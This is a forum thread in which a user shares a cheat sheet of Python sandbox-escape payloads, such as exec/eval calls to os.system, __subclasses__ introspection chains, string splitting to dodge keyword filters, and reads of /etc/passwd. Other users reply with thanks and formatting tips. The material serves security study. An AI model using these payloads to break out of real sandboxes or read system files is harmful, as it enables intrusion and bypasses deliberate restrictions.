Execute System Commands in Python (Reference)

[mour]

If you guys get any other tricks, please let me know, we can improve and perfect it, and forgive my poor english.

type 1: keywords

1. exec('import os ;os.system("ls")')
2. eval('__import__("os").system("ls")')
3. f'''{__import__('os').system('ls')}'''
4. [].__class__.__mro__[-1].__subclasses__()
5. _builtin__.open('/etc/passwd')
6. system('ls')
7. [].__class__.__base__.__subclasses__()[59]()._module.linecache.__dict__['o'+'s'].__dict__['sy'+'stem']('l'+'s') # only python2
8. [].__class__.__base__.__subclasses__()[59](linecache.getlines, '/etc/password')
9. [].__class__.__base__.__subclasses__()[59](exec, '("__import__("os").system("ls")")')

type 2: python lib

1. subprocess.Popen('ls')
2. os.popen('ls')
3. importlib
4. builtins.open('/etc/passwd')
5. linecache.getlines('/etc/passwd')

type 3: python import

1. __import
2. import
3. importlib

type 4: other

1.    import sys
      sys.modules['NB']='/Users/mour/anaconda3/lib/python3.6/os.py'
      import NB
   

2. base64 deocde encode

3. pickle

References

• Python沙箱逃逸的n种姿势
• Escaping python sanbox
• Pickle Security

[pry0cc (Leader & Offsec Engineer & Forum Daddy)]

Hi! This is pretty cool.

May I suggest using multi-line code formatting for all of the examples? I would think it would be easier to copy and read that way!

Thanks

[mour]

yeah, no problem. you can add it make us to know it. thanks.

[Valravn ([Optional])]

That’s a great job. Thanks buddy.